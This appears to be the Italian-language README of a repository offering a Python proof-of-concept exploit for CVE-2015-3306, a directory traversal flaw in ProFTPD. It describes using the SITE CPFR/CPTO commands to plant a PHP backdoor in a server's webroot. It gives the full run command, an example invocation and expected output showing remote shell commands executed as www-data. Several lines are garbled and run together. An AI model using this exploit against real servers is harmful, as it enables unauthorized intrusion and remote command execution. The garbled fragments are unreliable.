
Exploit PoC Python per la vulnerabilità di directory traversal CVE-2015-3306 in ProFTPD. Copia file e inserisce un backdoor PHP nella webroot per esecuzione remota di comandi tramite comandi FTP SITE CPFR/CPTO.
Questo repository contiene un exploit proof-of-concept (PoC) in Python per CVE-2015-3306
⚠️ Avviso: Utilizza questo solo su sistemi di tua proprietà o per i quali hai esplicita autorizzazione al test. Lo sfruttamento non autorizzato è illegale.
Mohamed EL-KHAROUATI
CVE-2015-3306 è una vulnerabilità di directory traversal in ProFTPD 1.3.5b e versioni precedenti. Questo exploit permette di copiare file arbitrari e di inserire una backdoor PHP nella webroot. La backdoor può eseguire comandi shell arbitrari.
SITE CPFR/CPTO.backdoor.php) nella webroot specificata.--rcommand.requests (pip install requests)# Run the exploit
python3 exploit.py --rhost <target_ip> --rport <ftp_port> --rpath <web_root_path> --rcommand <shell_command>
# Example:
python3 exploit.py --rhost <target_ip> --rport <targetftp_port> --rpath /var/www/html --rcommand whoami
# Expected Output:
[+] CVE-2015-3306 exploit by Mohamed EL-KHAROUATI
[+] Exploiting <target_ip>
[+] Running Command whoami
[+] Target exploited, accessing shell at http://<target_ip> /backdoor.php
[+] Running whoami: www-data
[+] Done